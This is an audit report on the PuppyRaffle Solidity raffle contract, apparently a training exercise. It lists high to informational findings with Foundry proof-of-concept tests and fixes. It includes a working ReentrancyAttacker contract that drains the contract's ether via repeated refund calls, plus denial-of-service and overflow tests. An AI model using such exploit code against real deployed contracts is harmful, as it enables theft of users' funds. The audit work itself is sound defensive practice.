PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

February 26, 2024

PuppyRaffle Audit Report

Izuman

February 26, 2024

Prepared by: IzuMan0x Lead Auditors: IzuMan0x

- xxxxxxx

Table of Contents

- Medium
  - [M-1] Looping through the players array to check for duplicates in `PuppyRaffle:enterRaffle` is a potential denial of service attack, incrementing gas costs for future entrants
  - [M-2] Players may enter the raffle using a smart contract that reverts when sent ether. It will be hard for `PuppyRaffle` to start a new raffle.
- Low
  - [L-1] At `PuppyRaffle:getActivePlayerIndex` returns 0 for non-existent players and 0 for players at index 0. Therefore, the data is conflicting and players cannot clearly tell whether they are active at index 0 or if they are a not an active player.
- Gas
  - [G-1] Unchanged state variables should be set to constant or unmmutable
  - [G-2] When reading from storage in a loop, data should be cached
- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2] Using Outadted version of Solidity is not recommended.
  - [I-3] Check for Zero address
  - [I-4] `PuppyRaffle:selectWinner` should follow CEI, currently it does not follow CEI.
  - [I-5] Use of "Magic numbers" is dicouraged
  - [I-6] State changes are missing events and events are not indexed
  - [I-7] Remove dead code `PuppyRaffle:_isActivePlayer` is never used
  - [I-8] It is recommended to use better naming conventions for variable to determine between `storage`, `memory`, `calldata`, and `contract byte data` like constant variables.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The IzuMan0x makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Scope

- In Scope:

```
./src/
PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This protocol is not productuion ready until all these issue are corrected

Issues found

Severity	Number of Issues found
High	3
Medium	2
Low	1
Info	7
Total	13

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle:refund` allows the entrant to drain the contract ethereum balance

Description: The `PuppyRaffle:refund` function does not follow the CEI (checks, effects, interactions) method and as a result an attack can drain the contract of funds.

In the `PuppyRaffle:refund` function we first make an external call before we update the state.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
@>        payable(msg.sender).sendValue(entranceFee); //external call
@>       //Here an attacker can run whatever code they want, like re-
    enter the function and sendValue(entranceFee) again.
@>        players[playerIndex] = address(0);// Then the state is
    updated
        emit RaffleRefunded(playerAddress);
}
```

A player that has a `fallback`/`receive` function that calls the `PuppyRaffle:refund` can call the function again and claim another refund, then another refund until the contract funds are depleted.

Impact All fees paid by the raffle entrants could be stolen by a malaicious attacker. All ethereuem in the contract can be drained.

Proof of Concept:

1. Users enter the raffle.
2. Attacker enters the raffle with the below contract address.
3. Attacker calls `PuppyRaffle:refund` using the attack/below contract.
4. All funds of the contract are drained.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```

function test_attackerCanReenterRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackerUser = makeAddr("attacker");
        vm.deal(attackerUser, 1 ether);

        uint256 startingAttackerBalance = address(attackerUser).balance
            ;
```

```
15          uint256 startingContractBalance = address(puppyRaffle).balance;
16
17          vm.prank(attackerUser);
18          attackerContract.attack{value: entranceFee}();
19
20          console.log("starting contract balance ",
                startingContractBalance);
21          console.log("ending contract balance:", address(puppyRaffle).
                balance);
22          console.log("starting attacker abalnce: ",
                startingAttackerBalance);
23          console.log("Ending attacker balance: ", address(
                attackerContract).balance);
24      }
```

And this contract as well:

```
1  contract ReentrancyAttacker {
2      PuppyRaffle s_puppyRaffle;
3      uint256 s_entranceFee;
4      uint256 s_attackerIndex;
5      //address s_contractAddress;
6
7      constructor(PuppyRaffle puppyRaffle) {
8          s_puppyRaffle = puppyRaffle;
9          s_entranceFee = puppyRaffle.entranceFee();
10     }
11
12     function attack() external payable {
13         address[] memory players = new address[](1);
14         players[0] = address(this);
15         s_puppyRaffle.enterRaffle{value: s_entranceFee}(players);
16         s_attackerIndex = s_puppyRaffle.getActivePlayerIndex(address(
               this));
17         s_puppyRaffle.refund(s_attackerIndex);
18     }
19
20     receive() external payable {
21         if (address(s_puppyRaffle).balance >= s_entranceFee) {
22             s_puppyRaffle.refund(s_attackerIndex);
23         }
24     }
25 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:refund` function update the state before making an external call. Additionally we should move the event emission up to prevent event emitting manipulation.

```
1
2  function refund(uint256 playerIndex) public {
```

```
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6
7   +       players[playerIndex] = address(0);
8   +       emit RaffleRefunded(playerAddress);
9           payable(msg.sender).sendValue(entranceFee);
10
11  -       players[playerIndex] = address(0);
12  -        emit RaffleRefunded(playerAddress);
13      }
```

[H-2] Weak randomness in `PuppyRaffle:selectWinner` allows for user to influences or possible predict the winner. Laso, inlfuence and predict the rarity of the puppy.

Descripion: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable result which can be manipulated. Malicious user can manipulate these values.

Note: This additionally means users can see predict the result and call `PuppyRaffler:refund` if they are not the winner.

Impact Anyone user can influence the winner of the raffle winning the money and affecting the rarity of the puppy. This can make the whole protocol useless and turn the raffle into a gas war.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and the `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. User can revert their `slectWinner` transaction if the don't like the selected winner.

Using on-chain randomness is a known vulnerable since the blockchain is deterministice by nature.

Recommended Mitigation: Consider using a cyptographically provable number like ChainLink VRF

[H-3] Integer overflow of `PuppyRaffle:totalFees` therefore loses fees

Descripion: In verison of Soidity prior to `0.8.0` intergers were subject to overflow

```
1 uint256 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1;
```

```
4 //myVar will be 0
```

Impact In `PuppyRaffle:selectWinner`, `totalFees` are accumulated fro the `feeAddress` to collect later in the `PuppyRaffle:withdrawFee`. However, if the the `totalFees` variable overflows the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 100 players
2. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 totalFees = 0 + uint64(20000000000000000000);
3 //This will overflow and totalFee will not be 20000000000000000000
      which is 20 ether or 20e18 Wei
```

3. In `PuppyRaffle:withdrawFees`

```
1 require(address(this).balance ==
2   uint256(totalFees), "PuppyRaffle: There are currently players
       active!");
```

Therefore, after `totalFees` overflows it may become impossible to withdraw the fees. However, you could use `selfdestruct` to forcefully send the contract ethereum so that the balance matches the `totalFees`

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
1  function test_selectWinnerTotalFeeOverflows() public {
2          uint256 amountOfPlayers = 100;
3          address[] memory players = new address[](100);
4          for (uint256 i; i < amountOfPlayers; i++) {
5              players[i] = address(i);
6          }
7          puppyRaffle.enterRaffle{value: entranceFee * amountOfPlayers}(
               players);
8          skip(2 days);
9          puppyRaffle.selectWinner();
10         //total fee is 20% of the entrance fees which for 20 entrants
11         //This errors out because the totalFees will not equal the
               address balance due to overflow thus the contract will think
                there is still an active raffle
12         //puppyRaffle.withdrawFees();
13         //Reading from the contract storage
14         //uint256 totalFees = stdstore.target(address(puppyRaffle)).sig
               ("totalFees()").read_uint();
```

```
15          // totalFees is at slot 10 with 20 offset
16          // Here we a messing around reading directly from storage slots
17          uint256 totalFeeSlot = 10;
18          bytes32 totalFees = vm.load(address(puppyRaffle), bytes32(
                totalFeeSlot));
19          console.log("The follwing data was red from storage: ");
20          console.logBytes32(totalFees);
21          //This confirms we have overflow the totalFees are only 1.5
                ether even after 100 entrants totaling 100 ether
22          console.log("The current totalFees are: ", uint256(puppyRaffle.
                getTotalFeesAmount()));
23
24          //You can read public variables without a getter function
25          console.log("You can access public variable very easily",
                puppyRaffle.totalFees());
26
27          console.log("the balance of the feeAddress is: ", address(
                feeAddress).balance);
28      }
```

Recommended Mitigation: There are mutliple options:

1. Use a new version of Solidity `^0.8.0`
2. You could use the OpenZeppelin `SafeMath` library to prevent overflow, but you would sitll have problems if you collect too many fees
3. Remove the balance check for `PuppyRaffle:withdrawFees`
4. Change `totalFees` from a uint64 to a uint256.

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle:enterRaffle` is a potential denial of service attack, incrementing gas costs for future entrants

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: The `PuppyRaffle:enterRaffle` function loops over the `players` array to check for duplicates. Thus, as the array increases in length the gas cost of execution will continue to increase. Everytime a player enters calls the `PuppyRaffle:enterRaffle` the gas cost will increase. This means earlier entrants will have a significantly lower gas cost than much later later entrants.

Impact: The gas cost for the raffle entrants will greatly increase and it will discourage later users from entering. This will cause a rush to enter at the beginning.

Also, an attacker might enter multiple times with different address to ensure they win and increase the cost of entrance.

Proof of Concept:

- Second entrant gas cost: ~16640
- 1002nd entrant gas cost: ~4209660

PoC

Place the following test into `PuppyRafflerTest.t.sol`

```
1
2     function test_dosAttackEnterRaffle() public {
3         //warmup storage variables
4         vm.startPrank(playerOne);
5         address[] memory players = new address[](1);
6         players[0] = playerOne;
7         puppyRaffle.enterRaffle{value: entranceFee}(players);
8
9         //playerTwo which we will use for comparison
10        uint256 gastStartA = gasleft();
11        vm.startPrank(playerTwo);
12        address[] memory playerTwoArray = new address[](1);
13        players[0] = playerTwo;
14        puppyRaffle.enterRaffle{value: entranceFee}(playerTwoArray);
15        uint256 gasCostA = gastStartA - gasleft();
16
17        for (uint256 i = 100; i < 200; i++) {
18            vm.startPrank(address(uint160(i)));
19            vm.deal(address(uint160(i)), 100 ether);
20            address[] memory players = new address[](1);
21            players[0] = address(uint160(i));
22            puppyRaffle.enterRaffle{value: entranceFee}(players);
23        }
24
25        uint256 gastStartB = gasleft();
26        vm.startPrank(playerThree);
27        address[] memory playerThreeArray = new address[](1);
28        playerThreeArray[0] = playerThree;
29        puppyRaffle.enterRaffle{value: entranceFee}(playerThreeArray);
30        uint256 gasCostB = gastStartB - gasleft();
31
32        console.log("The Second entry gas cost is", gasCostA);
33        console.log("The 103rd entry gas cost is", gasCostB);
34        assert(gasCostA < gasCostB);
35    }
```

Recommended Mitigation: There are a few recommendations

1. Consider allowing duplicates. User can create new wallets which duplication checking cannot catch.
2. Consider using a mapping to check for duplicates.

Suggested Mapping Solutions

```
- address[] public players;
+ mapping(address => uint256) playersToRaffleId;
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "
       PuppyRaffle: Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
-           players.push(newPlayers[i]);
+           playersToRaffleId[newPlayer[i]] = raffleId;
    }
     //check for duplicates
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle:
               Duplicate player");
        }
    }
    emit RaffleEnter(newPlayers);
}
```

3. CheckOut openzeppelin's enumerable library.

[M-2] Players may enter the raffle using a smart contract that reverts when sent ether. It will be hard for PuppyRaffle to start a new raffle.

Descripion: The `PuppyRaffle:selectWinner` frunction si responsible for teh resetting the lottery, but it could cost a lot due tot eh duplicate check and the lottery reset could get challenging.

Impact The `PuppyRaffle:selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback function or a receive function.
2. The lottery ends.
3. The `selectWinner` funciton wouldn't work, event tough the lottery is over!!

Recommended Mitigation: There are multiple options

1. Create a new mapping of address –> winnings and function like `claimPrize` where winners can claim their prize. This shifts the responsability to the user. This follows a better practice `Pull over Push`.
2. Not allow smart contract to enter the raffle (not recommended).

1. Possible by using `extcodesize(a)` where `a` is the contract `address` if it is greater than `0x0` zero than it is wallet and not a contract.

Low

[L-1] At `PuppyRaffle:getActivePlayerIndex` returns 0 for non-existent players and 0 for players at index 0. Therefore, the data is conflicting and players cannot clearly tell whether they are active at index 0 or if they are a not an active player.

Descripion: This function will cause players at index 0 to think they are not registered causing them to register or vice versa they may think they are an active player at index 0 causing them to believe they entered the raffle.

```
1    function getActivePlayerIndex(address player) external view returns (
        uint256) {
2           for (uint256 i = 0; i < players.length; i++) {
3               if (players[i] == player) {
4                   return i;
5               }
6           }
7           return 0;
8       }
```

Impact Return data conflicts and user is unable to know if they an active player at index 0 or an inactive player

Proof of Concept:

1. User enters the raffle and they are the first player.
2. User calls `PuppyRaffle:getActivePlayerIndex` which returns 0.
3. User believes they are inactive due to the function documentation and re-enters the raffle.
4. Or vice versa…

Recommended Mitigation: The easiest solution would be to revert the function if the player is not active.

Or reserve the 0th slot in the array, so there is not a player at index 0

Or return a int256 where the function returns -1 if the player is not active

Gas

[G-1] Unchanged state variables should be set to constant or unmmutable

Reading from storage is much more expensive than reading a constant or immutable variable

Instances:

- `PuppyRaffle:raffleDuration` should be `immutable`
- `PuppyRaffle:commonImageUri` should be `constant`
- `PuppyRaffle:rareImageUri` should be `constant`
- `PuppyRaffle:legendaryImageUri` shoudl be `constant`

[G-2] When reading from storage in a loop, data should be cached

Everytime you read `players.length` you read from storage while reading from memory is more efficient

```
1
2 +   uint256 playersLength = players.length;
3 -   for (uint256 i = 0; i < players.length - 1; i++) {
4 +   for (uint256 i = 0; i < playersLength - 1; i++) {
5 -           for (uint256 j = i + 1; j < players.length; j++) {
6 +           for (uint256 j = i + 1; j < playersLength; j++) {
7                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
8             }
9         }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using Outadted version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. Please see Slither documentations for more information.

[I-3] Check for Zero address

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 151

```
1           previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 169

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle:selectWinner` should follow CEI, currently it does not follow CEI.

```
1
2 +         _safeMint(winner, tokenId);
3           (bool success,) = winner.call{value: prizePool}(""); // prize
               pool is reset by deleting the players array
4           require(success, "PuppyRaffle: Failed to send prize pool to
               winner");
5 -         _safeMint(winner, tokenId);
```

[I-5] Use of "Magic numbers" is dicouraged

It is confusing using literal numbers in the codebase without an explanantion of its origin and purpose.

```
+        uint256 rewardPercentage = 80;
+        uint256 feePercentage = 20;
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
+        uint256 prizePool = (totalAmountCollected * rewardPercentage) / 100;
+        uint256 fee = (totalAmountCollected * feePercentage) / 100;
```

[I-6] State changes are missing events and events are not indexed

[I-7] Remove dead code `PuppyRaffle:_isActivePlayer` is never used

If this is intentional set the function to `external`

[I-8] It is recommended to use better naming conventions for variable to determine between `storage`, `memory`, `calldata`, and `contract byte data` like constant variables.

Mitigation There are many options, but one is to for immutables `i_varaibleName`, constants `VARIABLE_NAME`, storage `s_variableName`, memory `variableName` or something similar. The nature of a variable should be clear.